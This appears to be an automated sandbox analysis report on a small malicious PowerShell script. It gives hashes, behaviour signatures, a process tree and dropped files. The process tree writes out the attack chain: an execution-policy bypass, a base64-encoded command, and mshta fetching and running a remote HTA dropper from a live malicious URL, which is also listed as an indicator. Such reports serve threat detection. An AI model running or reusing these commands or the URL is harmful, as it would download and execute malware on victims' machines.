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Analysis

  • max time kernel
    93s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/08/2024, 12:04

General

  • Target

    b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1.ps1

  • Size

    147B

  • MD5

    461d549b45e71d09f616ea14cf0f46d2

  • SHA1

    eb06f635e30520fd8e764a3c6fc1216c798400c7

  • SHA256

    b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1

  • SHA512

    ea3dc372f83d76964b01a0437febaef0b725267af8a2e72d55995e301ed5fea02d1792900e4ef7dee5068f2e41d96f7cdb12ed6932fff8637562e64fddb93b4f

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://microsoftcamp-c3.b-cdn.net/camp-v1

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AaQBjAHIAbwBzAG8AZgB0AGMAYQBtAHAALQBjADMALgBiAC0AYwBkAG4ALgBuAGUAdAAvAGMAYQBtAHAALQB2ADEA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3592
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://microsoftcamp-c3.b-cdn.net/camp-v1
        3⤵
        • Blocklisted process makes network request
        PID:940

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0k4y2cpd.twy.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3592-22-0x00007FF8D0B10000-0x00007FF8D15D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3592-23-0x00007FF8D0B10000-0x00007FF8D15D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3592-26-0x00007FF8D0B10000-0x00007FF8D15D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3592-28-0x00007FF8D0B10000-0x00007FF8D15D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3904-0-0x00007FF8D0B13000-0x00007FF8D0B15000-memory.dmp

    Filesize

    8KB

  • memory/3904-10-0x0000016F04420000-0x0000016F04442000-memory.dmp

    Filesize

    136KB

  • memory/3904-11-0x00007FF8D0B10000-0x00007FF8D15D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3904-12-0x00007FF8D0B10000-0x00007FF8D15D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3904-32-0x00007FF8D0B10000-0x00007FF8D15D1000-memory.dmp

    Filesize

    10.8MB